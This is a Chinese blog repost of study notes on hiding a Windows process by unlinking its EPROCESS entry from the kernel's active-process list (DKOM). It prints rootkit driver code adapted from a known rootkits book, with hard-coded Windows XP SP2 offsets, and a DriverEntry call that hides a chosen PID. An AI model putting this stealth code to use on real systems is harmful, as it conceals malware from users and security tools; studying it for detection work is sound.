Hiding process with DKOM

2023-12-03 00:38
文章标签 process hiding dkom

本文主要是介绍Hiding process with DKOM,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

       科普了...大侠飘过....

        感觉这样隐藏进程比Hook ZwQuerySystemInformation 工序上简单很多,所以BSOD的几率也要小了。不过仍然逃不过IS的法眼...

        代码基本是copy Rootkits: Subverting the Windows Kernel 加了点注释。几下笔记。

       在win中,每个进程都有一个EPROCESS结构,其中引用了一个双向链表,遍历这个链表,就能列出win当前活动进程。

下面是定义

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

FLINK指向当前进程的前方进程,BLINK则指向后方进程。

所以,我们要通过进程的PID定位到链表并且把要隐藏的进程从链表中断开。




我们要找到指定进程所在的进程链表,要经历如图的过程。


ULONG FindProcessEPROC (ULONG terminate_PID)
{
//这个函数用来获得指定PID的 EPROCESS偏移
PLIST_ENTRY plist_active_procs;
ULONG eproc;
ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;
eproc   = 0x00000000;
PIDOFFSET = 0x84;   //SP2
FLINKOFFSET = 0x88;
current_PID = 0;
start_PID   = 0;
i_count = 0;
if (terminate_PID == 0)return terminate_PID;
// Get the address of the current EPROCESS
eproc = (ULONG) PsGetCurrentProcess();   
start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PID
current_PID = start_PID;
while(1)
{if(terminate_PID == current_PID) // foundreturn eproc;else if((i_count >= 1) && (start_PID == current_PID)){//当整个循环都遍历完一圈却没有找到这个PID的时候 才会出现这种情况return 0x00000000;}else { // Advance in the list.plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);   //LISTeproc = (ULONG) plist_active_procs->Flink;                      //the next list entryeproc = eproc - FLINKOFFSET;                                       //the next EPROCESScurrent_PID = *((ULONG *)(eproc+PIDOFFSET));           //THE NEXT PIDi_count++;}
}
}

上面这个函数,首先PsGetCurrentProcess();   可以到达当前进程EPROCESS EPROCESS中保存了进程PID,win sp2中,PID的偏移是0x84 LIST的偏移是 0x88。(FLINKOFFSET应该是LISTOFFSET 名字起得有点问题 更正一下)

下面我们就要断开这个链表。



NTSTATUS HideProc()
{
PLIST_ENTRY plist_active_procs;
ULONG FLINKOFFSET,eproc;
// Find the EPROCESS to hide.
eproc = FindProcessEPROC(3248);
FLINKOFFSET = 0x88;
if (eproc == 0x00000000)
{DbgPrint("can't find the eproc!!");return STATUS_INVALID_PARAMETER;
}
plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);
// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.
*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //动作一
*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //动作二
// Change the FLINK and BLINK of the process we are hiding so that when
// it is dereferenced, it points to a valid memory region.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
//这里一定要把EPROCESS指向其自身 不然BSOD郁闷死你
return STATUS_SUCCESS;
}

怎么断开双向链表,当初学C的时候都有讲..所以不多写...

最后

plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);

plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);

倒是要注意一下,Greg Hoglund的书中写道,如果不把被隐藏进程的EPROCESS指向其自身,那么PspExitProcess的调用就会无效 so...BSOD...

最后,只需在DRIVER ENTRY中这样调用

if(STATUS_SUCCESS == HideProc())
   DbgPrint("haha hide ok!");

IS中有显示红字的即是。


这篇关于Hiding process with DKOM的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/447459

相关文章

Unity Post Process Unity后处理学习日志

Unity Post Process Unity后处理学习日志 在现代游戏开发中,后处理(Post Processing)技术已经成为提升游戏画面质量的关键工具。Unity的后处理栈(Post Processing Stack)是一个强大的插件,它允许开发者为游戏场景添加各种视觉效果,如景深、色彩校正、辉光、模糊等。这些效果不仅能够增强游戏的视觉吸引力,还能帮助传达特定的情感和氛围。 文档

出现 E: Sub-process /usr/bin/dpkg returned an error code (1) 解决方法 (全面分析)

目录 前言1. 问题所示2. 原理分析2.1 第一阶段2.2 第二阶段 3. 解决方法4. 彩蛋4.1 错误不提示,直接卸载4.2 卸载后还是无错误提示 前言 3年前遇到过一个类似的,但是轻松解决,推荐阅读:ubuntu:E: dpkg was interrupted, you must manually run ‘sudo dpkg --configure…解决方法 这回发

【Android studio】 unable to start the daemon process

这几天在做一个安卓桌面项目时,突然发现android studio 不能用了。 提示: 网上的一些方法,要不就是: 1、删除C:\Users\<username>\.gradle 文件夹 2、File Menu - > Invalidate Caches/ Restart->Invalidate and Restart 3、C:\Users\<us

论文《Autoencoders for improving quality of process event logs》翻译

论文《Autoencoders for improving quality of process event logs》翻译 《Autoencoders for improving quality of process event logs》翻译

Thread VS Process

区别如下: 1) Both process and Thread are independent path of execution but one process can have multiple Threads.   2) Every process has its own memory space, executable code and a unique process i

Liver Segmentation in CT based on ResUNet with 3D Probabilistic and Geometric Post Process

一、摘要 本文提出了使用具有3D概率和几何后期处理功能的ResUNet的新型肝分割框架。 我们的语义分割模型ResUNet在U-Net的上采样和下采样部分添加了残差单元和批处理规范化层,以构建更深的网络。 为了快速收敛,我们提出了一种新的损失函数DCE,该函数由Dice损失和交叉熵损失线性组合。 我们使用连续的几个CT图像作为训练和测试的输入,以探索更多的上下文信息。 基于ResUNet的初始分割

Java 入门指南:Java 并发编程 —— 两万字详解 进程(Process)与线程(Thread)

线程和进程是操作系统中两个重要的概念,用于实现并发执行和多任务处理。 基础概念 进程 进程(Process):进程是计算机中正在运行的程序的实例。它是操作系统分配系统资源的基本单位,包括程序代码、数据、打开的文件、内存空间、进程状态等。 每个进程都有独立的内存空间和资源,彼此之间相互隔离、互不影响。进程之间通常通过进程间通信(IPC)机制进行数据交换和通信。 任一时刻,CPU 总是运行一

python基础-Process创建进程、join方法、实现ftp多进程

进程概念获取进程id并行并发概念Process类的介绍Process类的其他方法join方法利用多进程实现ftp套接字 进程概念 进程即正在执行的一个过程或者说一个任务。进程是对正在运行程序的一个抽象,而负责执行任务则是cpu 程序仅仅只是一堆代码而已,而进程指的是程序的运行过程。 进程的概念起源于操作系统,进程的创建,调度管理都归操作系统管 一 操作系统的作用

Android XML Editor cannot process this input

Android XML Editor cannot process this input. 今天在用Android版Eclipse打开Xml文件时出现如下错误:     错误的原因可能是把其他Xml文件当成了Android Xml文件。   解决方法如下:     点击ok即可。   转自:http://www.myexception.cn/xml-soa

centos出现这个错误:Job for sshd.service failed because the control process exited with error code.

这是因为SElinux启用了,关闭就好了。 在/etc/selinux/config文件中如下修改,设置SELINUX=disabled: # This file controls the state of SELinux on the system.# SELINUX= can take one of these three values:#       enforcing - SE